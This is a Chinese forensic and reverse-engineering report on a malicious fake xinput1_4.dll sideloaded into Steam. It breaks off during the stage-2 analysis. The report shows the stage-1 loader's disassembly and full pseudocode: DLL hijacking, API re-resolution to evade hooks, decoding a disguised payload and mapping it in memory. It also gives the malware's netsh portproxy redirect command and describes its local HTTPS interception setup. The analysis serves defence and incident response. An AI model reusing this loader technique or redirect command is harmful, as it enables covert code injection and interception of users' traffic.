一次 Steam 异常高占用事件的完整溯源与逆向分析报告
报告范围:本报告基于对真实受害样本的取证与逆向分析,仅限于安全研究与防御目的。所有指标(IOC)在文末列出,可用于规则编写与企业资产清查;清理脚本附于第 17 节,可独立运行。
样本来源:受害主机的实际安装路径(详见第 6 节)。原始样本与脱壳后镜像的 SHA256 哈希列于第 18 节 IOC。所有动态行为均在隔离虚拟机环境中复现;本报告未对外发布任何样本二进制。
1. 现象观察
事件由一台 Windows 10 主机的 Steam 客户端持续异常触发。受影响主机的可观测现象集中于以下若干维度:
- 进程资源占用:
Steam.exe主进程 CPU 占用稳定在 30%~50% 区间,工作集(Working Set)可在 30 分钟内增至数 GB; - 进程身份:高占用进程为
Steam.exe主进程本身,而非Steam Client WebHelper,也非游戏进程PartyAnimals.exe; - 状态残留:游戏退出后 Steam 客户端 UI 仍显示"游戏运行中",资源占用不释放,必须终止 Steam 主进程方可恢复;
- 环境相关性:相同账号、相同游戏在另一台对照机器上运行正常,初步排除 Steam 账户与游戏自身缺陷;
- 稳定触发条件:异常仅在《猛兽派对》启动后稳定复现,故初始假设倾向 Steam 客户端的录制/Overlay/Shader 预缓存/Input/控制器/Beta 通道等子系统缺陷。

异常时的 Steam 客户端状态
逐项关闭上述 Steam 子系统、重装游戏、离线启动 Steam、清除 config 与 userdata 目录等常规手段均不解决问题。可疑信号在排查过程中逐步收敛:
- 即便在 Steam 离线模式下,启动游戏后占用仍升高 → 异常并非源自外网请求阻塞;
Steam.exe主进程线程数随时间单调增长(实测序列 207 → 219 → 235 → 247)→ 异常表现为线程级泄漏,而非单线程死循环;- Steam 客户端日志偶现
Failed to load Steam Service (GLE 126),但SteamService.exe /repair操作会卡死,且SteamService不在异常进程链路上,后续分析证明其与根因无关。
至此可基本排除 Steam 客户端自身的常规故障路径,将分析方向转向"进程内被注入了非官方代码"这一更深层假设。
2. 进程内存取证:异常代码段与 socket 风暴的首次定位
采集两份进程内存 dump 作为后续分析的基线,第一份为游戏运行期间,第二份为游戏退出后:
| 文件 | 线程数 | PRIVATE_EXEC 线程 | 私有可执行内存 |
|---|---|---|---|
steam.dmp | 128 | 82 | ~586 MB |
steamtc.dmp | 265 | 224 | ~1368 MB |
为规避对 WinDbg/cdb 的强依赖,编写最小化 minidump 解析脚本,对模块表、线程入口、栈返回地址、内存区段属性逐项扫描,得到三个互相印证的事实:
- Steam 进程内存在巨量
MEM_PRIVATE+PAGE_EXECUTE_READWRITE私有内存(游戏退出后达 1.3 GB),呈"约 4–8 MB 一组"的规整分配; - 大量线程的栈顶位于
mswsock!WSPAccept → ws2_32!accept → 匿名地址; - 上述匿名地址不属于
steam.exe / steamui.dll / steamclient64.dll / tier0_s64.dll / gameoverlayrenderer64.dll任意一个正常模块。
随后以 WinDbg Preview 复核上述结论:
.symfix C:\Symbols
.reload /f
!runaway 7
!address -summary
!address -f:PAGE_EXECUTE_READWRITE
~* kpn 30
!address 命令进一步确认,高 CPU 线程的当前 PC(如 00000249bc3a4ead)落在一段约 4 MB 的 MEM_PRIVATE / PAGE_EXECUTE_READWRITE 区。
至此分析方向由"Steam 客户端性能缺陷"转向更精确的假设:Steam 主进程内存在不属于任何已加载模块的代码段,且该代码段持续在本地端口上 accept 大量连接。
3. 异常代码段的初步反汇编:本地伪 Steamworks 服务的初步轮廓
对 dump 内 4 MB 匿名区段实施反汇编与字符串扫描,提取到的内容并非通用脚本运行时,而是与 Steamworks 服务端代码高度同构的字符串集合:
\Steam\protobuf-main\src\google\protobuf\...
steam_api.proto / steam_cloud.proto / steam_server.proto
steam_id_lobby / steam_id_owner / client_supplied_steam_id
primary_steam_controller_serial / total_steam_controller_count
http_host / http_status_code / use_https / not a socket
该代码段会通过间接调用引用 kernel32 函数,但其自身并不属于任何已加载模块的导出表。结合"4–8 MB 一组的规整分配"、"socket accept 风暴"等并发现象,可初步认定:Steam 进程内常驻一个被反复创建而未正确回收的本地服务实现。
4. 端口与流量入口定位:0.0.0.0:8443 与 127.0.0.1:443 → 127.0.0.1:8443
查询 Steam 进程的 TCP 端口占用:
$p = (Get-Process steam | Sort-Object CPU -Descending | Select-Object -First 1).Id
Get-NetTCPConnection -OwningProcess $p |
Group-Object State,LocalAddress,LocalPort |
Sort-Object Count -Descending |
Select-Object Count,Name -First 30
结果中出现明显异常项 Listen 0.0.0.0:8443,且多个监听 socket 归属 steam.exe。进一步检查 Windows portproxy 规则:
netsh interface portproxy show all
侦听 ipv4 连接到 ipv4
127.0.0.1 443 127.0.0.1 8443
即:本机发往 127.0.0.1:443 的连接被 Windows 系统重定向到 Steam 进程监听的 8443 端口。该结构与"本地透明 HTTPS 中间人"的入站路径完全一致。
尝试清除该规则以观察其持久化机制:
Remove-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4\tcp' -Name '127.0.0.1/443'
net stop iphlpsvc; net start iphlpsvc
规则会短暂消失,但只要重新启动旧 Steam,规则即被重建。该现象排除"系统配置历史残留"的可能性,表明 Steam 启动链路中存在主动重建该规则的代码。sc.exe config "Steam Client Service" start= disabled 同样不能阻止重建,说明执行主体亦非 Steam Client Service。
5. Process Monitor 进程链溯源:Steam 进程主动派生 netsh
使用 Procmon 捕获 Steam 启动期间的 Process Create 事件,将时间窗口对齐至 Steam 启动后 5 秒内,捕获到决定性的进程链事件:
Steam.exe (39372) 父进程→子进程
└─ cmd.exe (39340)
命令行: cmd.exe /c netsh interface portproxy add v4tov4
listenport=443 listenaddress=127.0.0.1
connectport=8443 connectaddress=127.0.0.1
时间戳: 2026-05-22 02:52:08
父进程: Steam.exe (启动于 02:52:05)


Steam 主进程在启动后约 3 秒派生 cmd.exe,由其调用 netsh 添加 portproxy 规则。该行为不存在于 Valve 官方客户端的任何已知执行路径——可视为 Steam 主进程被注入的直接行为证据。
6. 干净对照实验:定位污染范围至 Steam 安装根目录
在干净环境下重新部署一份官方 Steam 客户端至 F:\teststeam,开展两组对照实验:
- 在登录界面静置:新 Steam 不会 创建 portproxy 规则,端口列表保持干净;
- 通过新 Steam 启动《猛兽派对》:进程占用正常,未出现高 CPU/内存与线程数泄漏。
进一步以交叉迁移法收敛污染源——将旧 F:\steam 的各子目录逐个迁入新 Steam 目录后启动测试:
steamapps、config、userdata、package、clientui、bin、public、resource、appcache任一子目录的迁入均不触发 portproxy 创建。
由此可判定:污染源不在用户数据/缓存类子目录中,而位于 Steam 根目录下的额外文件。
7. Compare-Object 差异定位至 xinput1_4.dll
Compare-Object `
(Get-ChildItem F:\steam -File | Select-Object -ExpandProperty Name) `
(Get-ChildItem F:\teststeam -File | Select-Object -ExpandProperty Name)
libx264-142.dll <=
logs.zip <=
simulator.dll <=
xinput1_4.dll <=
差集中含 4 个旧 Steam 独有的文件。对该 4 个文件实施"重命名为 *.bak → 清除 portproxy → 重启 Steam"的二分复测,链路稳定收敛于一个文件:
F:\steam\xinput1_4.dll
该文件存在时,Steam 启动即重建 443→8443 portproxy 规则,且《猛兽派对》触发高占用;该文件被重命名后,端口规则不再被创建,游戏运行恢复正常。根因文件锁定。
8. xinput1_4.dll 完整逆向:一阶段 DLL 侧载加载器
样本基础信息:
SHA256: 631C8757165C9BACE8D6CFE019425ED5AC97319CF2D8FD2B07A8E32025711FB4
大小: 30,648 bytes
架构: x64
PE 时间戳: 2025-12-20 12:42:55 UTC
ImageBase: 0x180000000
Entry RVA: 0x3190
导出: 无
签名: Valid
签名者: 山西荣升源科贸有限公司
颁发者: Verokey High Assurance Secure Code EV
Thumbprint: 428FEE9B772BD7E56987E864AD8C83B5721E717F
PDB: C:\Users\Administrator\Desktop\\xinput1_4\x64\Release\xinput1_4.pdb
该 DLL 持有有效签名,但有效签名仅代表代码签名证书已由 CA 颁发,并不蕴含"代码无恶意"的语义;EV 代码签名证书在灰产/恶意软件分发链中亦属常见。PDB 路径同时暴露作者机器的用户名为 Administrator,项目位于 Desktop 目录,使用标准 MSVC x64\Release 模板构建。
8.1 命名异常:导出表为空的"XInput" DLL
正常的 xinput1_4.dll 必须导出:
XInputGetState / XInputSetState
XInputGetCapabilities
XInputGetBatteryInformation
...
该 DLL 不导出任何 XInput 接口函数,存在的唯一作用为利用文件名借助 Windows DLL 搜索顺序,被 Steam 主进程于启动期间加载(即 DLL 侧载 / DLL hijacking)。Windows 加载 EXE 时按固定顺序查找其依赖的 DLL,EXE 同目录的优先级高于 System32,因此放置于 F:\steam` 根目录的伪 xinput1_4.dll` 将先于系统目录下的正版 DLL 被加载。
8.2 DllMain:基于宿主环境的条件激活
入口 0x3190 为 MSVC 的 _DllMainCRTStartup 跳板,最终跳转至 0x180001550,即真正的 DllMain 函数:
0x180001550: push rbx
0x180001552: sub rsp, 0x20
0x180001556: mov rbx, rcx ; save hinstDLL
0x180001559: lea rcx, [rip + 0x2c80] ; "SteamUI.dll"
0x180001560: call qword ptr [rip + 0x2ab2] ; KERNEL32!GetModuleHandleA
0x180001566: test rax, rax
0x180001569: je 0x180001579 ; 宿主非 Steam 时直接返回
0x18000156b: mov rcx, rbx
0x18000156e: call qword ptr [rip + 0x2a9c] ; KERNEL32!DisableThreadLibraryCalls
0x180001574: call 0x180001170 ; 工作函数
0x180001579: mov eax, 1 ; 总是返回 TRUE
0x18000157e: add rsp, 0x20
0x180001582: pop rbx
0x180001583: ret
入口逻辑实现了清晰的宿主环境检测:GetModuleHandleA("SteamUI.dll") 验证 SteamUI 是否已加载——仅在该模块在场时(即宿主为 Steam 主进程,其余进程通常不加载 SteamUI.dll)进入工作流程。其他宿主进程下直接 return TRUE 静默退出,规避非 Steam 环境下的暴露。
8.3 工作函数 sub_1170:二次 API 解析
0x180001187: lea rcx, [rip + 0x2f92] ; "kernel32.dll"
0x18000118e: call GetModuleHandleA ; rdi = HMODULE kernel32
0x180001194: lea rcx, [rip + 0x2f95] ; "user32.dll"
0x18000119e: call GetModuleHandleA ; rbx = HMODULE user32
0x1800011a4: lea rdx, "GetProcAddress"
0x1800011b1: call GetProcAddress
0x1800011b7: lea rdx, "VirtualAlloc" ; -> r13
0x1800011c7: lea rdx, "VirtualFree" ; -> r15
0x1800011da: lea rdx, "MessageBoxA" ; (解析了但没用上)
0x1800011ed: lea rdx, "CreateFileA" ; -> rsi
0x1800011fd: lea rdx, "ReadFile" ; -> r12
0x180001210: lea rdx, "CloseHandle" ; -> r14
0x180001223: lea rdx, "GetFileSize" ; -> rdi
需注意,上述 API 在静态 IAT 内已全部存在,作者仍以 GetModuleHandleA + GetProcAddress 进行运行时二次解析。该手法属于典型的反静态分析 / 反 IAT-hook 技术——避免核心 API 走静态 IAT,绕过部分 EDR/AV 在 IAT 槽上预设的钩子。
8.4 %LOCALAPPDATA% 三级路径回退
1. GetEnvironmentVariableA("LOCALAPPDATA", buf, MAX_PATH)
成功就直接用。
2. 失败则:
GetUserNameA(&user, &size)
wsprintfA(&buf, "C:\\Users\\%s\\AppData\\Local", user)
GetFileAttributesA(&buf) // 验证路径存在
成功就用。
3. 还失败则 SHGetKnownFolderPath:
GUID = {F1B32785-6FBA-4FCF-9D55-7B8E7F157091} ← FOLDERID_LocalAppData
flags = 0x8000 ← KF_FLAG_DEFAULT_PATH
返回宽字符 → WideCharToMultiByte 转 ANSI → CoTaskMemFree
4. 最后的兜底 SHGetSpecialFolderPathA(NULL, &buf, 0x1C, FALSE)
其中 0x1C = CSIDL_LOCAL_APPDATA
RVA 0x4200 处的 16 字节常量经反推确认为 FOLDERID_LocalAppData 的 GUID(小端字节序的 8527b3f1ba6fcf4f9d557b8e7f157091)。
接着 wsprintfA(&fullpath, "%s\Steam\localData.vdf", local_appdata) 拼出最终目标路径。
8.5 文件读取与按字节按位取反解码
CreateFileA(path, GENERIC_READ=0x80000000, FILE_SHARE_READ=1, NULL,
OPEN_EXISTING=3, FILE_ATTRIBUTE_NORMAL=0x80, NULL)
GetFileSize(h, NULL) → size
VirtualAlloc(NULL, size, MEM_RESERVE|MEM_COMMIT=0x3000, PAGE_READWRITE=4)
ReadFile(h, buf, size, &actual, NULL)
CloseHandle(h)
随后是 SSE 反序解码循环:
0x180001433: movdqa xmm2, xmmword ptr [rip+0x2db5] ; 取常量
0x180001460: movdqu xmm0, [rax-0x20]
0x18000146d: andnps xmm0, xmm2 ; xmm0 = (~xmm0) & xmm2
0x180001470: movdqu [rax-0x60], xmm0
... 4 路展开,每轮 64 字节 ...
0x180001460-0x180001497: movdqu/andnps/movdqu × 4 组
... 余字节标量尾巴 ...
0x1800014e0: not byte ptr [rcx]
0x1800014e2: lea rcx, [rcx+1]
0x1800014e6: sub r8, 1
0x1800014ea: jne 0x1800014e0
RVA 0x41f0 处的 16 字节 xmm2 常量经 dump 验证为 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff——全 0xFF。
x86 SSE 的 andnps a, b 指令执行 a = (NOT a) AND b。当 b = 0xFFFF...FF(全 1)时,结果即为 a = NOT a。结合标量尾部循环中显式出现的 not byte ptr [rcx],整段解码变换的语义被指令级证据明确为按字节按位取反,等价于每字节执行 XOR 0xFF。
8.6 手动 PE 映射:MemoryModule 库的直接复用
0x1800014ec: mov rdx, rdi ; size
0x1800014ef: mov rcx, rsi ; decoded buffer
0x1800014f2: call 0x180001590 ; sub_1590 = MemoryLoadLibraryEx
0x1800014f7: test rax, rax
0x1800014fa: je 0x180001512 ; 失败 -> ret
0x1800014fc: lea rdx, "loadLib"
0x180001503: mov rcx, rax ; mapped module handle
0x180001506: call 0x180001b20 ; sub_1b20 = MemoryGetProcAddress
0x18000150b: test rax, rax
0x18000150e: je 0x180001512
0x180001510: call rax ; ← stage-2!loadLib()
sub_1590 为浅封装,将 5 个内部函数指针压栈后调用真正的映射器 0x180001e5e0。这 5 个回调精确对应 MemoryModule(Joachim Bauch 的开源内存 PE 加载器)库中 MemoryLoadLibraryEx 的 5 个可定制函数:MemoryLoadLibrary / MemoryGetProcAddress / MemoryFreeLibrary / MemoryAlloc / MemoryFree。
sub_1b20 为标准实现的 MemoryGetProcAddress:
rax = MODULE.headers (offset +0)
r15 = MODULE.codeBase (offset +8)
读 [headers + 0x88, 0x8C] ; OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
读 [export_dir + 0x14, 0x18, 0x10] ; NumberOfFunctions / NumberOfNames / Base
首次调用 HeapAlloc 一份名字表缓存,存到 [MODULE + 0x50] ; MEMORYMODULE.nameExportsTable
MemoryModule 的 MEMORYMODULE 结构第一字段为 PIMAGE_NT_HEADERS headers,第二字段为 unsigned char *codeBase,再过若干字段即 LPVOID *nameExportsTable——恰好对应偏移 +0、+8、+0x50(x64 对齐后)。该样本未对结构体偏移进行修改,直接沿用了 MemoryModule 的原始布局。
call rax 调用前未对 rcx/rdx/r8/r9 进行赋值,依 Windows x64 ABI 可判定 stage-2 的 loadLib 为无参函数。
8.7 失败路径的静默化处理
整个工作函数中不存在任何 MessageBoxA 实际调用(虽该 API 在 §8.3 的二次解析步骤中被解析;推测为早期开发期的调试提示框残留,未在发布版本中被使用),所有失败分支均为 CloseHandle + VirtualFree(buf, 0, MEM_RELEASE) + ret 0。即任一阶段的失败都不会对外报告,宿主进程无可观测信号。
8.8 stage-1 完整伪码
BOOL APIENTRY DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
if (GetModuleHandleA("SteamUI.dll") == NULL)
return TRUE; // 宿主非 Steam,静默退出
DisableThreadLibraryCalls(hinstDLL);
do_work();
return TRUE;
}
static void do_work(void) {
HMODULE k32 = GetModuleHandleA("kernel32.dll");
HMODULE u32 = GetModuleHandleA("user32.dll");
// 二次解析关键 API,绕开 IAT 钩子
pVirtualAlloc = GetProcAddress(k32, "VirtualAlloc");
pVirtualFree = GetProcAddress(k32, "VirtualFree");
pCreateFileA = GetProcAddress(k32, "CreateFileA");
pReadFile = GetProcAddress(k32, "ReadFile");
pCloseHandle = GetProcAddress(k32, "CloseHandle");
pGetFileSize = GetProcAddress(k32, "GetFileSize");
char local_appdata[MAX_PATH] = {0};
// 三级 fallback 解析 %LOCALAPPDATA%
if (!GetEnvironmentVariableA("LOCALAPPDATA", local_appdata, MAX_PATH)) {
char user[256]; DWORD usz = sizeof(user);
if (GetUserNameA(user, &usz)) {
char buf[MAX_PATH];
wsprintfA(buf, "C:\\Users\\%s\\AppData\\Local", user);
if (GetFileAttributesA(buf) != INVALID_FILE_ATTRIBUTES) {
lstrcpynA(local_appdata, buf, MAX_PATH);
goto have_path;
}
}
PWSTR wpath = NULL;
if (SUCCEEDED(SHGetKnownFolderPath(&FOLDERID_LocalAppData,
KF_FLAG_DEFAULT_PATH, NULL, &wpath))) {
WideCharToMultiByte(CP_ACP, 0, wpath, -1, local_appdata, MAX_PATH, 0, 0);
CoTaskMemFree(wpath);
} else {
SHGetSpecialFolderPathA(NULL, local_appdata, CSIDL_LOCAL_APPDATA, FALSE);
}
}
have_path:;
char fullpath[MAX_PATH];
wsprintfA(fullpath, "%s\\Steam\\localData.vdf", local_appdata);
HANDLE h = CreateFileA(fullpath, GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (h == INVALID_HANDLE_VALUE) return;
DWORD size = GetFileSize(h, NULL);
BYTE *buf = VirtualAlloc(NULL, size, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);
DWORD read = 0;
ReadFile(h, buf, size, &read, NULL);
CloseHandle(h);
if (read != size) { VirtualFree(buf, 0, MEM_RELEASE); return; }
// 按字节取反 (== XOR 0xFF)
for (DWORD i = 0; i < size; ++i) buf[i] = ~buf[i];
// MemoryModule 风格手动映射,调用 loadLib
HMEMORYMODULE mod = MemoryLoadLibrary(buf, size);
if (!mod) return;
FARPROC loadLib = MemoryGetProcAddress(mod, "loadLib");
if (loadLib) ((void(*)(void))loadLib)();
}
xinput1_4.dll 仅承担第一阶段加载器职能,其本体载荷位于 %LOCALAPPDATA%\Steam\localData.vdf。下一节针对该 stage-2 镜像展开静态分析。
9. stage-2 静态分析:伪装为 VDF 的 PE 镜像
9.1 解码 PE
从受害主机回收 localData.vdf:
路径: C:\Users\Administrator\AppData\Local\Steam\localData.vdf
大小: 2,900,480 bytes (2.9 MB)
SHA256: 81F04831573AB983E7F4D7A64B375D0C66C6C282FFEFA00EA105F433CC8AC6A8
mtime: 2026-01-01 16:50:04
头几个字节:
B2 A5 6F FF FC FF FF FF FB FF FF FF 00 00 FF FF ...
该字节序列不符合 VDF 文本格式特征。注意 B2 ^ FF = 4D、A5 ^ FF = 5A,对应 ASCII 字符 MZ。对整文件执行 NOT/XOR 0xFF 解码后:
4D 5A 90 00 03 00 00 00 ... ← 标准 MZ DOS header
解码后 SHA256: D9ADF672F5A4405B0C113C9EEC653653FB0D8152875FCEB85BA30D2350F79C85
架构: x64
PE 时间戳: 2025-12-25 13:11:40 UTC
ImageBase: 0x180000000
SizeOfImage: 0x82A000 (约 8.5 MB,比磁盘文件大 ~5.6 MB)
入口 RVA: 0x5667F0
签名: NotSigned
导出表只有一个函数:
导出 DLL 名: hid.dll
导出函数: loadLib (RVA 0x2CB80)
PDB 路径: F:\入库内核\Steam\x64\Release\hid.pdb ← ★ 作者自己命名"入库内核"
stage-1 通过 MemoryGetProcAddress 查找的导出名为 loadLib,stage-2 恰好仅导出 loadLib——两文件共享同一作者命名空间,构成两阶段加载链。PDB 路径中的"入库内核"字样直接揭示了项目的业务身份:结合入口域名 cdk.steam.icu 与后续 §12.11 出现的 CMsgCdkActiveResponse 协议字段,可判定该工具是"购买 Steam CDK 激活码 → 入库工具 → 将未购买游戏激活进 Steam 库"这一灰产业务链的运行时内核组件。
9.2 节表特征:11 节中 7 节 raw_size = 0
节 vaddr vsize raw_off rsize
.text 0x00001000 0x00326872 0x00000000 0x00000000 ← raw=0 (虚拟节)
.rdata 0x00328000 0x0009b8f0 0x00000000 0x00000000 ← raw=0
.data 0x003c4000 0x00026fd0 0x00000000 0x00000000 ← raw=0
.pdata 0x003eb000 0x000218dc 0x00000000 0x00000000 ← raw=0
.fptable 0x0040d000 0x00000200 0x00000000 0x00000000 ← raw=0 ★
.text 0x0040e000 0x00141fd0 0x00000000 0x00000000 ← raw=0 (第二个 .text)
.data 0x00550000 0x0001273f 0x00000000 0x00000000 ← raw=0
.text 0x00563000 0x002c30b0 0x00000400 0x002c3200 ← 含实际数据的第三个 .text
.data 0x00827000 0x00000610 0x002c3600 0x00000800
.reloc 0x00828000 0x00000080 0x002c3e00 0x00000200
.rsrc 0x00829000 0x000000f8 0x002c4000 0x00000200
该节布局是 VMProtect 3.x 的典型形态:
- 存在三个
.text节,前两个 raw=0(虚拟节,运行时由解包器填回),第三个含 2.9 MB 实际数据; .fptable是 VMProtect 的特征节(function pointer table);- 入口
0x5667f0落入第三个.text节,由约 4000 字节的解包/虚拟机调度代码完成自举; SizeOfImage0x82A000 较磁盘文件大 ~5.6 MB,差额恰等于所有 raw=0 节体积之和——VMProtect 的标准实现:原始节在磁盘上被剥离,运行时由解包器还原。
低熵 bootstrap 区(rva 0x563000–0x56f000)提取出的字符串中亦含 VMProtect 特征指纹:
.rdata$voltmd ← VMProtect SDK 特有 metadata 段
.fptable
.rdata$voltmd 与 .fptable 同时存在,可作为 VMProtect SDK 的强特征指纹。同一位置还可见完整的 .CRT$XCA..XCZ / .CRT$XIA..XIZ / .CRT$XLA..XLZ MSVC 链——原始编译器为 MSVC,C++ runtime 完整存在。
9.3 极简 IAT:仅 11 项导入
完整导入表:
KERNEL32.dll: LoadLibraryExW
USER32.dll: GetForegroundWindow
ADVAPI32.dll: CryptAcquireContextA
SHELL32.dll: SHGetKnownFolderPath
ole32.dll: CoTaskMemFree
bcrypt.dll: BCryptGenRandom
WINHTTP.dll: WinHttpSendRequest
WS2_32.dll: ord #3 ← bind();按序号导入是 VMProtect IAT 混淆的常见做法
CRYPT32.dll: CertSetCertificateContextProperty
DNSAPI.dll: DnsQuery_W
dbghelp.dll: SymFromAddr
每个导入模块仅声明 1 个 API,其余 API 全部在运行时通过 LoadLibraryExW + GetProcAddress 解析。基于这 11 项声明,可反推 stage-2 的运行时行为面:
| 导入 API | 推断用途 |
|---|---|
LoadLibraryExW | 引导阶段加载其余模块(WinHttp/Crypt32/Cert/Reg/…) |
WinHttpSendRequest | HTTPS 出站至 C2 / 激活服务器 |
DnsQuery_W | 主动 DNS 查询(绕过自行改写 hosts 之前的本地解析) |
WS2_32 #3 (bind) | 监听本地端口(即 0.0.0.0:8443) |
BCryptGenRandom | 加密安全随机数(TLS、密钥、nonce) |
CryptAcquireContextA | 旧式 CryptoAPI 入口 |
CertSetCertificateContextProperty | 写入证书属性(绑定私钥、设置友好名等),与"安装根证书 DCS Root CA G2"的行为一致 |
SHGetKnownFolderPath | 获取系统目录(用户配置、hosts、根证书库等) |
GetForegroundWindow | 前台窗口检测(反沙箱 / 反调试 / 激活流程触发) |
SymFromAddr (dbghelp) | 运行时按符号定位函数——输入地址,返回符号名 |
CoTaskMemFree | 释放 SHGetKnownFolderPath 返回的宽字符串 |
CertSetCertificateContextProperty 单一 API 即足以证实证书安装路径——该 API 用于设置 CERT_KEY_PROV_INFO_PROP_ID(绑定私钥)或 CERT_FRIENDLY_NAME_PROP_ID(设置友好名),是安装系统根证书的必经调用。结合内存 dump 中出现的 DCS Root CA G2 字符串与注册表最终落地的根证书指纹,本地 HTTPS 中间人栈的证书侧链路得以闭合。
SymFromAddr 的存在尤其值得关注:该 API 接受任意运行时地址、返回对应的符号名。stage-2 加载至 Steam 进程后,可通过 SymFromAddr 配合 Steam 官方 PDB 实施"按符号定位"的 hook 安装——无需硬编码任一 Steam 客户端版本的具体偏移。这是该样本能跨多个 Steam 客户端版本稳定工作的根本机制。
9.4 静态可见字符串仅 3 句
stage-2 整个文件中静态可见的字符串仅有:
.data +0x1a8: loadLib
.data +0x1b8: hid.dll
utf-16: kernel32.dll
netsh interface portproxy ...、hosts、DCS Root CA G2、CMsgGatewayHookRequest、GetDepotKey、force_proxy 等行为类字符串在磁盘文件中均不存在——其全部由运行时解包/虚拟机解出。这一现象解释了前述 §2–§6 取证步骤必须依赖 steam.dmp 内存 dump 才能观察到证据的原因:单纯依赖静态字符串扫描无法捕获 stage-2 的任何具体行为。
9.5 IAT 为诱饵:on-disk 代码对 11 个 IAT 槽 0 引用
对 2.9 MB on-disk .text 节实施 4 种 x64 引用方式的全扫描,统计 11 个 IAT 槽(rva 0x8275b0–0x827600)的引用次数:
绝对 8 字节 VA 指针 → IAT 任一槽: 0 hits
ff 15 ?? ?? ?? ?? (call [rip+disp]): 0 hits
ff 25 ?? ?? ?? ?? (jmp [rip+disp]): 0 hits
48 8b ?5 ?? ?? ?? ?? (mov rXX, [rip+disp]) 0 hits
4c 8b ?5 ?? ?? ?? ?? (mov r8-r15, ...) 0 hits
全部 0 hits。脱离主流引用方式的特殊编码尚不能完全排除,但常规反汇编工具能识别的所有路径均不引用这 11 个 IAT 槽。Windows 加载器依然会按 PE 规范将其 fixup 至真实 API 地址,但磁盘上的指令流未使用这些地址。
该现象为 VMProtect 的标准伪装手法:真实 import 调用全部迁移至虚拟机/加密区,外层 IAT 仅作为 AV 静态扫描的诱饵保留。这 11 个 API 实质上仅是 VMProtect SDK 打包时配置的"声明导入",作用是为壳的引导代码提供起步点(如 LoadLibraryExW 用于在运行时再加载其他模块);真正承担业务逻辑的数十至上百个 API(CreateProcessA、RegSetValueExW、CertAddCertificateContextToStore、send、recv 等)均由 stage-2 运行后在 TLS callback 内自行解析。
9.6 .reloc 仅 24 条:几乎完全位置无关
正常 ~8 MB ImageBase 的 PE 通常含有数千条 reloc。stage-2 仅含 24 条:
块 1: 0x564000 区,6 个 entry → 0x564250-0x564278 处 6 个 qword 指针
块 2: 0x568000 区,2 个 entry → 0x568d88, 0x568d90
块 3: 0x56b000 区,4 个 entry → 0x56b890-0x56b8a8 (TLS 目录的 4 个指针)
块 4: 0x7f3000 区,6 个 entry → 0x7f3c18-0x7f3ce0 (load_config 表)
块 5: 0x827000 区,6 个 entry → 0x827000+ (data 区静态指针)
解开块 1 后:
rva 0x564250 → abs 0x18080b3c0 (rva 0x80b3c0) ★ 加密代码区
rva 0x564258 → abs 0x18080b3c0 (rva 0x80b3c0) ★ 加密代码区(重复)
rva 0x564260 → abs 0x18080c0d0 (rva 0x80c0d0)
rva 0x564268 → abs 0x180805848 (rva 0x805848)
rva 0x564270 → abs 0x180805420 (rva 0x805420)
rva 0x564278 → abs 0x180804ee0 (rva 0x804ee0)
6 个目标 RVA(0x804ee0、0x805420、0x805848、0x80b3c0×2、0x80c0d0)全部落入主加密区(rva 0x56f000–0x7cf000)。该结构即 VMProtect 的 6-槽 handler 调度表——指向加密 handler 入口的指针表。
块 3 指向 TLS 目录的 4 个指针;块 4 指向 Load Config 表的 SEH/CFG 字段。24 条 reloc 整体表明:stage-2 设计为位置无关的镜像,仅壳的最小关键支架需要 fixup。
9.7 主加密区:所有标准解包算法均无命中
对 file 0xc000–0x26c000(约 2.4 MB,熵 7.9–7.99)尝试下列解包算法:
| 算法 | 结果 |
|---|---|
| zlib (78 01/78 9c/78 da) header 扫描 | 0 hits |
| raw deflate(多种起点) | 0 hits |
| Python lzma 自动检测 | 0 hits |
| lzma raw(FILTER_LZMA1, dict 16MB) | 0 hits |
Windows RtlDecompressBuffer LZNT1 | 0 hits |
Windows RtlDecompressBuffer XPRESS | 0 hits |
单字节 XOR(0x01-0xff)+ 找 MZ/常见明文 | 0 hits |
| 6 种 API name hash(DJB2 / DJB2lower / DJB2upper / CRC32 / FNV-1a / ROR13_add)× 100+ 候选 API(涵盖 WinHttp / Schannel / BCrypt / Crypt32 / Cert / Reg / Shell / Process / File / Socket / Steam) | 0 hits |
MZ\x90\x00、netsh、hosts、DCS Root、codefusion、antitamper、CMsgGatewayHook、GetDepotKey、127.0.0.1 等内存 dump 中可见的字符串,在磁盘镜像内均不可见。
加密层为 VMProtect 私有:使用 mutation engine 的 per-handler key schedule,对不同 handler 采用不同密钥加密,并将 key 嵌入加密代码自身(自解密结构)。该加密层在脱离运行时上下文的情况下无法批量解密。
9.8 尾部 ~350 KB 低熵代码区:VMProtect dispatcher 而非用户代码
stage-2 的 .text 节单值熵 7.93 仅为平均值——以 8KB 窗口、4KB 步进重新计算后,呈三段熵结构:
| rva 范围 | 熵 | 性质 |
|---|---|---|
| 0x563000-0x56f000 | 3.77-6.74 | bootstrap + 各种表(reloc / debug / PDB / CRT 节名表) |
| 0x56f000-0x7cf000 | 7.50-7.99 | ★主加密区★ 约 2.4 MB |
| 0x7cf000-0x826200 | 4.92-6.65 | 尾部低熵代码区 约 350 KB |
低熵尾部约 350 KB 未被加密,可直接反汇编,可识别 29 个完整的 MSVC 函数序言(55 53 56 57 41 54 41 55 41 56 41 57 48——push rbp/rbx/rsi/rdi/r12-r15 + sub rsp)。取一个函数样本:
========== 函数 @ rva 0x7f3fab ==========
push rbp ... push r15
lea rbp, [rax - 0x1b18] ; 自定义 frame:以 rax 为 context base
mov eax, 0x1bd8
call 0x1808251d8 ; _chkstk (栈探针)
sub rsp, rax
mov r15, qword ptr [rbp + 0x1b58]
xor r12d, r12d
mov ebx, dword ptr [rbp + 0x1b48]
mov r14, qword ptr [rbp + 0x1b40]
lea eax, [r15 + 0x20000]
bsr edi, eax ; bit scan reverse
... 大量 r8/r9 上下文操作 ...
call 0x180815b78
call 0x180825a78
lea rbp, [rax - 0x1b18] 形式的 frame setup——将传入 rax 作为 context base、以大 frame offset 访问字段——是 VMProtect VM dispatcher / scratch context handler 的典型形态,并非用户业务代码。另一函数 @ rva 0x7f696f 为 strcmp/memcmp 风格循环,特征上更接近编译器生成的 runtime helper。
